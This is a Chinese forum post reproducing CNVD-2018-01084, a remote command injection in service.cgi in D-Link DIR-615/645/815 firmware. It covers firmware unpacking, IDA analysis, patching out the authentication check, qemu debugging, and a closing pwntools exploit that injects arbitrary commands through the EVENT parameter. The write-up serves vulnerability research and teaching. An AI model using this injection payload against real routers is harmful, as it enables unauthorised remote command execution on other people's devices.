首页
论坛
课程
招聘
[原创] CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)
2022-4-7 15:38 10499

[原创] CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)

2022-4-7 15:38
10499

CNVD-2018-01084 漏洞复现报告

前言

CNVD平台上,关于CNVD-2018-01084的详细信息:D-Link DIR 615/645/815 service.cgi远程命令执行漏洞

 

固件包下载地址:D-Link (Downloads)

 

 

 

笔者复现的环境是Ubuntu 20.04

 

阅读本文前,请先安装qemu / binwalk / sasquatch / gdb-multiarch等工具,并对mips架构下的汇编语法有一定的了解。

漏洞复现

根据官方公告,找到存在漏洞的二进制文件

官方公告:

 

 

先用binwalk -Me DIR815A1_FW102b06.bin命令解压固件包,再根据“漏洞描述”中的关键词service.cgi进行查找:

 

 

找到了所匹配的二进制文件htdocs/cgibin,将其拖进IDA中先进行静态分析。

对二进制文件进行静态分析

首先进入main函数,很容易找到关键词service.cgi

 

 

这里是和传入的第一个参数v3进行的判断:

 

 

然后,当传入的第一个参数是service.cgi,比对成功后,会进入servicecgi_main函数。

 

我们先对servicecgi_main这个函数整体的调用路线进行一个宏观的分析:

 

 

我们猜测漏洞点存在于这里的system函数处,它是由lxmldbc_system函数调用的:

 

 

lxmldbc_system函数中,会先进行一个格式化字符串的拼接,再将拼接好的字符串作为system的参数调用,因此,这里的确可能存在一个可被利用的点:

 

 

接着,我们对servicecgi_main函数的流程进行一个分析:

 

(1)先获取环境变量REQUEST_METHOD进行判断

 

 

当请求方式为GET的时候,会跳到标签10,而这个标签10在调用lxmldbc_system函数的下面:

 

 

所以,为了利用到lxmldbc_system中的漏洞,我们的请求方式只能为POST

 

(2)分析cgibin_parse_request函数

 

然后,会调用到cgibin_parse_request函数,这个函数会先调取环境变量REQUEST_URI,并对其先以?进行字符串分割:

 

 

再进到sub_402B40函数中,发现这里会再以=进行一次字符串分割,对=后的内容再以&进行分割:

 

 

这其实就是对一个URL字符串的解析过程,分割后的字符串,都会被存放进内存中,具体存放在哪里,不太好直接通过静态分析看出。

 

之后,在cgibin_parse_request函数中,对CONTENT_TYPE这个环境变量进行了一个判断:

 

 

这里先对环境变量CONTENT_TYPE中的内容的前v17位与v18进行一个比对,比对正确后就会调用一个未知的函数,这里的v18其实是off_42C014中的内容,而v17就是其后四个字节的内容:

 

 

也就是说,我们CONTENT_TYPE的前12位得是application/才能过这个判断。

 

之后调用到的那个未知的函数也不方便直接通过静态分析看出,在之后动态调试的时候可以很清楚地看到,不过,这里需要注意一下传入这个未知函数的第三个参数v7,其实就是CONTENT_LENGTH这个环境变量:

 

 

这个函数大体就分析到这里了,更具体的,在之后动态分析的时候会写到。

 

 

servicecgi_main主函数中可以看到,若cgibin_parse_request函数的返回值是负数的话,会报错。

 

笔者注:

 

之前复现的时候是直接看汇编的,感觉上面说的未知函数不好看出来(我太菜了),其实我们看反编译后的代码,直接静态分析就很容易得出来:如果CONTENT_TYPE的前12位是application/,那么此时v16=1,所以(&off_42C014)[3 * v16 - 1] = (&off_42C014)[2],也就是下图圈出的数据,即跳转到了0x403B10处。

 

 

(3)分析sess_ispoweruser函数

 

在之后,会需要绕过sess_ispoweruser函数,不然无法通过认证:

 

 

这个函数会调用到sess_validate函数,其中会再调用到sess_get_uid函数,在里面有对HTTP_COOKIEREMOTE_ADDR这两个环境变量的获取,这里就不作具体分析了。

 

接着,在sess_validate函数中会继续调用到sub_407660这个函数,其中会打开/var/session/...的文件:

 

 

这个文件显然我们用qemu模拟的环境中是没有的,因此我们需要将sess_ispoweruser这个函数的相关判断给patch(直接将跳转命令改成nop空指令),不然就不便于进行后续利用了(会在这里卡住):

 

修改:

 

 

 

完成:

 

 

 

保存:

 

 

这样就直接跳过sess_ispoweruser函数的认证检验了,patch过的二进制文件替换htdocs目录下原有的文件即可

 

(4)一些静态分析看不出来的操作

 

再然后,会调用sub_40A1C0函数进行一些判断:

 

 

显然,判断的结果若是满足v6!=0是最好的,因为这里if分支其实大体上都是对v9格式化字符串进行赋值,而v6!=0分支中的内容最简单,下面else分支中的内容会很复杂,当经过这个判断之后,有了v9这个格式化字符串作为参数,就可以直接走到lxmldbc_system函数进行漏洞利用了。

 

不过,这里sub_40A1C0函数中具体判断的内容不太好直接通过静态分析看出:

 

 

这里的a1就是传进去的EVENT / ACTION / SERVICE这些参数,但是后面的v3[2]应该是用户可控的一个字符串,但是并不知道指向内存的何处。

 

同样地,lxmldbc_system函数中,vsnprintf函数的参数va(也就是拼接到前面format格式化字符串中的内容)不知道指向内存的何处,va_start函数同样不知道指向哪里:

 

 

这些都不好通过静态分析直接得出,但是可以猜测都是用户可控的,再联想到之前的REQUEST_URI环境变量分割出的字符串被存放在了内存中,我们也并不知道具体的存放位置,因此,可以猜测这里取的内存就是在之前存放的,为了验证这一观点,我们需要进行动态分析来调试。

对二进制文件进行动态分析(调试)

checksec检查一下二进制文件:

 

 

这是一个mips架构下32位的小端序程序,得用qemu-mipsel启动,没开任何保护。

 

首先,我们需要知道如何向main函数传递参数argv和设置环境变量:

 

 

我们可以用-0选项传递第一个参数,用-E选项设置环境变量,用-L选项做到类似于更改根目录的效果,用-strace选项追踪程序执行时进程系统调用和所接收的信号,方便调试。

 

我们按顺序,先来调试一下CONTENT_TYPE环境变量中application/后应该设置成什么,也就需要知道这里进入的未知函数是什么:

1
2
3
4
5
6
if ( !strncasecmp(v14, v18, v17) )
              return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_42C014)[3 * v16 - 1])(
                       a1,
                       a2,
                       v7,
                       &v14[v17]);

看到对应的汇编:

 

 

最后的跳转命令在0x40346C处,因此,我们在这里下一个断点。

 

先用下面的命令启动qemu用户模式:

1
2
3
4
5
6
7
qemu-mipsel -g 1234 -L . \
    -0 "service.cgi" \
    -E REQUEST_METHOD="POST" \
    -E REQUEST_URI="..." \
    -E CONTENT_LENGTH=10 \
    -E CONTENT_TYPE="application/winmt" \
    ./htdocs/cgibin

再用gdb-multiarch设置架构并连接上1234端口,最后停在了断点处:

 

 

可以很清晰地看到,那个我们静态分析不好看出来的未知函数就是0x403b10

 

IDA里找到0x403b10的位置,并创建函数,方便反编译:

 

 

 

可见,CONTENT_TYPE环境变量的后面应该是x-www-form-urlencoded,匹配成功后,就会进入sub_402FFC函数,在其中会有一个read函数,需要我们读入数据:

 

 

这里的v7也就是a3,是我们在cgibin_parse_request函数中传入的环境变量CONTENT_LENGTH,根据之前的分析,我们需要这个函数的返回值v4大于零,只要读入合法的数据即可。

 

这一部分就分析到这,接下来再验证之前的猜想:sub_40A1C0函数中所取的内存是否为之前REQUEST_URI环境变量所分割出的字符串?

 

我们已经知道了REQUEST_URI大体的分割模式,因此可以设REQUEST_URI="aaa?bbb=ccc"的形式,启动命令如下:

1
2
3
4
5
6
7
qemu-mipsel -g 1234 -L . \
    -0 "service.cgi" \
    -E REQUEST_METHOD="POST" \
    -E REQUEST_URI="aaa?bbb=ccc" \
    -E CONTENT_LENGTH=10 \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    ./htdocs/cgibin

sub_40A1C0strcmp的地方对应的汇编处(0x40A200)下一个断点:

 

 

在之前随便输入十个字符,最后停止了断点处:

 

 

由此可知,strcmp的第二个参数就是环境变量REQUEST_URI?=之间的字符串

 

用同样的方法,可以得到:lxmldbc_system中拼接入格式化字符串的va参数就是环境变量REQUEST_URI=之后的字符串

 

至此,我们完成了对/htdocs/cgibin这个二进制文件中的漏洞分析,显然,我们将;{cmd};拼接进格式化字符串,由于;可连接两个独立语句并执行,这样就能执行我们的cmd命令了

利用脚本(exp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os = 'linux', arch = 'mips')
 
string = "winmt"
length = len(string)
 
print("----- CNVD-2018-01084 -----\n")
cmd = input("command > ")
 
io = process(f'''
    qemu-mipsel -L . -strace \
    -0 "service.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH={length} \
    -E REQUEST_URI="?EVENT=;{cmd};" \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE="uid=winmt" \
    -E REMOTE_ADDR="127.0.0.1" \
    ./htdocs/cgibin
''', shell = True)
 
io.send(string)
io.interactive()

复现成功


2022 KCTF春季赛【最佳人气奖】火热评选中!快来投票吧~

最后于 2022-4-7 17:25 被winmt编辑 ,原因:
收藏
点赞3
打赏
分享
打赏 + 150.00雪花
打赏次数 1 雪花 + 150.00
 
赞赏  Editor   +150.00 2022/05/23 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (1)
雪    币: 113
活跃值: 活跃值 (38)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Vagaeth2 活跃值 2022-4-7 21:45
2
0
学习一下
游客
登录 | 注册 方可回帖
返回